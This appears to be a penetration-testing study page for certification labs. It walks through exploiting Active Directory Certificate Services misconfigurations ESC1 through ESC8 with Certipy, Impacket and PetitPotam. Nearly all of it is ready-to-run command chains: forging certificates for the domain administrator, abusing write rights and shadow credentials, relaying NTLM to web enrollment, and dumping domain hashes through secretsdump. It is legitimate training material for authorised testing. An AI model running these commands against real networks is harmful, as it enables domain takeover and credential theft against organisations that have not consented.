← Research Hub
Active Directory

AD CS ESC1–ESC8 Attack Chains

Complete Certipy-driven exploitation of all 8 Active Directory Certificate Services misconfigurations β€” from vulnerable template enrollment to CA private key theft.

General Workflow

# Step 1: Find all vulnerable templates
certipy find -u 'user@corp.local' -p 'Password1!' -dc-ip 10.10.10.5 -vulnerable -stdout

# Step 2: Identify ESC type from output
# Step 3: Request certificate exploiting the ESC
# Step 4: Authenticate with certificate to get TGT or NT hash
certipy auth -pfx admin.pfx -dc-ip 10.10.10.5
# Output: NT hash for the impersonated user

ESC1 β€” Template Allows Enrollee-Supplied SAN

Condition: Template has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + any domain user can enroll + Client Authentication EKU.

# Request certificate as Domain Admin (supply UPN of DA in SAN)
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
  -template 'VulnerableTemplate' -upn 'administrator@corp.local' -dc-ip 10.10.10.5

# Authenticate with resulting pfx to get DA hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5
# β†’ NT hash: aad3b435b51404eeaad3b435b51404ee:8f617b...

# Use hash with secretsdump
impacket-secretsdump corp.local/administrator@10.10.10.5 -hashes :8f617b...

ESC2 β€” Any Purpose EKU or No EKU

Condition: Template has Any Purpose EKU or no EKU at all. Can be used as enrollment agent certificate.

# Request Any Purpose cert
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
  -template 'AnyPurposeTemplate' -dc-ip 10.10.10.5

# Use as enrollment agent (treat like ESC3 second step)
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
  -template 'User' -on-behalf-of 'corp\administrator' \
  -pfx anyPurpose.pfx -dc-ip 10.10.10.5

ESC3 β€” Enrollment Agent Certificates

Condition: Two templates β€” one with Certificate Request Agent EKU, another allowing enrollment agent certificates.

# Step 1: Get enrollment agent cert
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
  -template 'EnrollmentAgentTemplate' -dc-ip 10.10.10.5

# Step 2: Request cert on behalf of DA using enrollment agent
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
  -template 'User' -on-behalf-of 'corp\administrator' \
  -pfx jdoe.pfx -dc-ip 10.10.10.5

# Step 3: Auth as DA
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5

ESC4 β€” Write Privileges Over Certificate Template

Condition: Domain user has WriteProperty or WriteDACL on a template object. Convert template to ESC1.

# Modify template to add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
certipy template -u 'jdoe@corp.local' -p 'Password1!' \
  -template 'TargetTemplate' -save-old -dc-ip 10.10.10.5

# Now exploit as ESC1
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
  -template 'TargetTemplate' -upn 'administrator@corp.local' -dc-ip 10.10.10.5

# Restore original template
certipy template -u 'jdoe@corp.local' -p 'Password1!'   -template 'TargetTemplate' -configuration TargetTemplate.json -dc-ip 10.10.10.5

ESC5 β€” PKI Object Access Control

Condition: A principal has dangerous rights (GenericAll, GenericWrite, WriteDacl, WriteOwner) over PKI-related objects: the CA server computer object, the NTAuthCertificates container, or the Cert Publishers group. Compromising these objects enables escalation to full CA control.

ESC5 is not a standalone attack β€” it is a path to gaining ManageCA or ManageCertificates rights, which then enables ESC7.

Scenario: GenericWrite on CA Computer Object

# Identify: BloodHound β†’ find GenericWrite/GenericAll edges to the CA computer object
# Example: your user has GenericWrite on the CA server computer object "CERTSRV$"

# Step 1: Configure shadow credentials on the CA computer object
certipy shadow auto -u 'jdoe@corp.local' -p 'Password1!' \
  -account 'CERTSRV$' -dc-ip 10.10.10.5
# β†’ NT hash of CERTSRV$ machine account

# Step 2: Authenticate as the CA machine account
export KRB5CCNAME='CERTSRV$.ccache'

# Step 3: With the CA machine account, you have ManageCA rights on the CA itself
# Now proceed with ESC7 β€” add officer, enable SubCA template, request + issue cert
certipy ca -u 'CERTSRV$@corp.local' -hashes : -ca 'CORP-CA' \
  -add-officer 'CERTSRV$' -dc-ip 10.10.10.5

Scenario: GenericWrite on Cert Publishers Group

# Cert Publishers group members can publish certificates to AD
# Adding yourself enables publishing of custom certs (enables manual PKINIT paths)

# PowerView β€” add your user to Cert Publishers
Add-DomainGroupMember -Identity 'Cert Publishers' -Members 'jdoe' -Credential $cred

# Or via net rpc:
net rpc group addmem "Cert Publishers" "jdoe" \
  -U corp.local/jdoe%'Password1!' -S 10.10.10.5
Key Point: ESC5 is often discovered through BloodHound by searching for principals with write access to the CA computer object (certsrv or similar). The resulting access typically leads to ESC7 exploitation β€” treat ESC5 as "path to ESC7."

ESC6 β€” CA EDITF_ATTRIBUTESUBJECTALTNAME2

Condition: CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set β€” any template allowing enrollment can include arbitrary SAN.

# Check CA flag
certipy find -u 'jdoe@corp.local' -p 'Password1!' -dc-ip 10.10.10.5 -stdout | grep -i "editf"

# Request any enrollable cert with DA SAN
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
  -template 'User' -upn 'administrator@corp.local' -dc-ip 10.10.10.5

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5

ESC7 β€” CA Officer / Manager Rights

Condition: User has ManageCertificates or ManageCA rights on the CA itself.

# Grant self Officer rights (with ManageCA)
certipy ca -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
  -add-officer jdoe -dc-ip 10.10.10.5

# Enable a disabled dangerous template
certipy ca -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA' \
  -enable-template 'SubCA' -dc-ip 10.10.10.5

# Request cert from SubCA as admin (Failed, needs approval)
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA'   -template 'SubCA' -upn 'administrator@corp.local' -dc-ip 10.10.10.5

# Issue the failed request with ManageCertificates rights
certipy ca -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA'   -issue-request  -dc-ip 10.10.10.5

# Retrieve the issued certificate
certipy req -u 'jdoe@corp.local' -p 'Password1!' -ca 'CORP-CA'   -retrieve  -dc-ip 10.10.10.5

ESC8 β€” NTLM Relay to AD CS Web Enrollment

Condition: CA has web enrollment enabled (/certsrv) and doesn't require HTTPS or EPA.

# Check if web enrollment exists
curl -k http://10.10.10.5/certsrv/

# Use PetitPotam or PrinterBug to coerce DC authentication
# Relay to CA web enrollment to get DC certificate
impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp \
  -smb2support --adcs --template 'DomainController'

# Coerce DC$ to authenticate to you
python3 PetitPotam.py -u 'jdoe' -p 'Password1!' KALI_IP DC_IP

# ntlmrelayx outputs base64 cert β€” save as dc.pfx
# Use DC cert to dump hashes via DCSync
certipy auth -pfx dc.pfx -dc-ip 10.10.10.5
impacket-secretsdump -just-dc-ntlm corp.local/DC$@10.10.10.5 \
  -hashes :<NT hash from certipy auth>
CPTS Exam: ESC1 and ESC8 are the most common in HTB labs. Always run certipy find -vulnerable immediately after getting domain creds. The output tells you exactly which ESC applies.